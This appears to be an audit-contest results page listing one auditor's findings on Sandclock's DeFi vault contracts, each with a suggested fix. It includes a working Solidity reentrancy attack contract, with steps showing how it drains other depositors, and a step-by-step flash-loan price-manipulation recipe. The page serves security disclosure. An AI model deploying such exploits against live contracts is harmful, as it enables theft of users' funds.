Sandclock contest - hickuphh3's results

The Next Generation of Wealth Creation.

General Information

Platform: Code4rena

Start Date: 06/01/2022

Pot Size: $60,000 USDC

Total HM: 20

Participants: 33

Period: 7 days

Judge: LSDan

Total Solo HM: 9

Id: 67

League: ETH

Sandclock

Findings Distribution

Researcher Performance

Rank: 10/33

Findings: 4

Award: $2,274.90

🌟 Selected for report: 2

🚀 Solo Findings: 0

Findings Information

Awards

90.0579 USDC - $90.06

Labels

bug
duplicate
3 (High Risk)

External Links

Handle

hickuphh3

Vulnerability details

Impact

The deposit() function does not have reentrancy protection. This allows reentrancy to occur through the implementation of a malicious claim’s beneficiary onDepositMinted() function that will cause all users’ deposits to be erroneously interpreted as yield instead.

Specifically, while shares for the first deposit have been minted, funds have not been transferred when reentrancy occurs. Hence, the shares calculated for the reentrant deposit use a lower totalUnderlyingMinusSponsored() than expected, resulting in more claim shares minted.

Proof of Concept

A gist of the attack script and contract is attached here.

Bob writes (rather, I wrote =p) the following malicious beneficiary contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import '../integrations/IIntegration.sol';
import '../vault/IVault.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol';

contract MintAttack is IIntegration, ERC165, ERC721Holder {
    address public admin;
    uint256 public amount;

    constructor(address _admin) {
        admin = _admin;
    }

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IIntegration).interfaceId || super.supportsInterface(interfaceId);
    }

    function setAmount(uint256 _amount) external {
        amount = _amount;
    }

    function giveAllowance(IERC20 token, address to) external {
        token.approve(to, type(uint256).max);
    }

    function setApprovalToAdmin(IERC721 depositor) external {
        depositor.setApprovalForAll(admin, true);
    }

    function onDepositMinted(
        uint256 _depositID,
        uint256 _shares,
        bytes memory _data
    ) external returns (bytes4) {
        // do deposit
        IVault.ClaimParams memory claimParam = IVault.ClaimParams({
            pct: 10_000,
            beneficiary: admin,
            data: '0x'
        });
        IVault.ClaimParams[] memory claimParams = new IVault.ClaimParams[](1);
        claimParams[0] = claimParam;
        IVault(msg.sender).deposit(
            IVault.DepositParams({
                amount: amount,
                claims: claimParams,
                lockedUntil: 0
            })
        );
        return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)"));
    }

    function onDepositBurned(
        uint256 _depositID
    ) external returns (bytes4) {
        return bytes4(keccak256("onDepositBurned(uint256)"));
    }
}
  1. Assume Alice calls deposit() with 1000 DAI (underlying token).
  2. Bob transfers 10_000 DAI into the malicious contract, then calls deposit() with 10_000 DAI with the malicious contract as the beneficiary (depositing a total of 20_000 DAI).

We see disastrous results:

  1. If Alice attempts to withdraw, the transaction will revert with Vault: cannot withdraw more than the available amount. Executing a forced withdrawal results in her only receiving ~173 DAI in return (about 82.7% loss).
  2. Bob is allocated about 9090 DAI in yield (loss in deposits, but made up with claims).

We therefore see that a portion of both users’ deposits are considered as yield as a result of this attack.

Import and use OpenZeppelin’s reentrancy guard for crucial user actions (deposits, claiming yields and withdrawals).

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

#0 - naps62

2022-01-13T12:48:38Z

duplicate of #3

Findings Information

🌟 Selected for report: hickuphh3

Also found by: 0x1f8b

Labels

bug
2 (Med Risk)

Awards

797.1712 USDC - $797.17

External Links

Handle

hickuphh3

Vulnerability details

Impact

It is critical to ensure that _minLockPeriod > 0 because it is immutable and cannot be changed once set. A zero minLockPeriod will allow for flash loan attacks to occur. Vaults utilising the nonUST strategy are especially susceptible to this attack vector since the strategy utilises the spot price of the pool to calculate the total asset value.

Proof of Concept

Assume the vault’s underlying token is MIM, and the curve pool to be used is the MIM-UST pool. Further assume that both the vault and the strategy holds substantial funds in MIM and UST respectively.

  1. Flash loan MIM from the Uniswap V3 MIM-USDC pool (currently has ~$3.5M in MIM at the time of writing).
  2. Convert half of the loaned MIM to UST to inflate and deflate their prices respectively.
  3. Deposit the other half of the loaned MIM into the vault. We expect curvePool.get_dy_underlying(ustI, underlyingI, ustAssets); to return a smaller amount than expected because of the previous step. As a result, the attacker is allocated more shares than expected.
  4. Exchange UST back to MIM, bringing back the spot price of MIM-UST to a normal level.
  5. Withdraw funds from the vault. The number of shares to be deducted is lower as a result of (4), with the profit being accounted for as yield.
  6. Claim yield and repay the flash loan.

Ensure that _minLockPeriod is non-zero in the constructor. Also, given how manipulatable the spot price of the pool can be, it would be wise to consider an alternative price feed.

// in Vault#constructor
require(_minLockPeriod > 0, 'zero minLockPeriod');

#0 - naps62

2022-01-13T20:01:50Z

duplicate of #65

#1 - dmvt

2022-01-27T21:40:56Z

#65 is a duplicate of this given that this issue's description is better

Findings Information

🌟 Selected for report: leastwood

Also found by: hickuphh3

Labels

bug
duplicate
2 (Med Risk)

Awards

797.1712 USDC - $797.17

External Links

Handle

hickuphh3

Vulnerability details

Impact

Withdrawals are processed solely with funds that are held by the vault. Should there be insufficient liquidity (Eg. many withdrawals in a short time), users have to rely on a trusted party (operator) to move funds from the investment strategy to the vault.

As long as one operator is compromised, that operator can remove all other authorized parties to make himself to be the sole operator. Funds are then held hostage by the hacker (refuse to call withdrawToVault() on the strategy until a ransom is paid, for instance).

Strategies (BaseStrategy) have a withdrawToVault() function. This should be utilised to attempt to withdraw any shortfall between a user’s withdrawal amount and the underlying token balance of the vault.

function _withdraw(
  address _to,
  uint256[] memory _ids,
  bool _force
) internal {
	...
	uint256 currentBalance = underlying.balanceOf(address(this));
	if (amount > currentBalance) {
		// attempt to withdraw shortfall to vault
		strategy.withdrawToVault(amount - currentBalance);
	}
	underlying.safeTransfer(_to, amount);
}

// TODO: do likewise for _unsponsor

#0 - naps62

2022-01-13T19:50:23Z

The overall issue described here is of an operator being compromised, and removing authorization from other operators. That's a duplicate of #132

Findings Information

🌟 Selected for report: hickuphh3

Labels

bug
1 (Low Risk)
sponsor acknowledged
sponsor confirmed
sponsor strategy

Awards

590.4972 USDC - $590.50

External Links

Handle

hickuphh3

Vulnerability details

Impact

It is crucial to verify the correctness of the UST index passed in _ustI. Otherwise, a malicious party can cause funds to be exchanged to a stablecoin that is neither UST nor the underlying token. Since there is no way to exchange it back to the underlying nor rescue the funds, all converted funds would be permanently trapped in the strategy contract.

For now, the proposed attack vector is not feasible because it requires a pool of minimally 3 indexes, while the UST curve pools with good liquidity are the UST-3CRV and UST-MIM pools which have only 2 indexes each.

Proof of Concept

  1. Assume the following:
    • existing curve pool of sUSD, UST and MIM is seeded with sufficient liquidity
    • Vault underlying token is MIM
    • index of sUSD, UST and MIM are 0, 1 and 2 respectively
  2. Strategy incorrectly uses 0 as the _ustI value and goes unnoticed. A malicious party notices the error and would like to cause griefing. The malicious party sends 1 wei of UST to the strategy. This is to ensure that the non-zero UST balance check in _initDepositStable() passes.
function _initDepositStable() internal {
  uint256 ustBalance = _getUstBalance();
  require(ustBalance > 0, "balance 0");
  ...
}
  1. updateInvested() is called, sending the MIM funds to the strategy contract and converted presumably to UST. However, they are converted to sUSD instead. There is no way to convert sUSD back to UST because no allowance is given to the curve pool. There is also no function that allows for funds to be rescued.

It will probably be good to verify the correctness of the _ustI index. This has an additional benefit of verifying the correctness of the curve pool used.

require(ICurve(_curvePool).coins(_ustI) == ustToken, "incorrect _ustI or pool");

#0 - naps62

2022-04-06T08:29:06Z

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter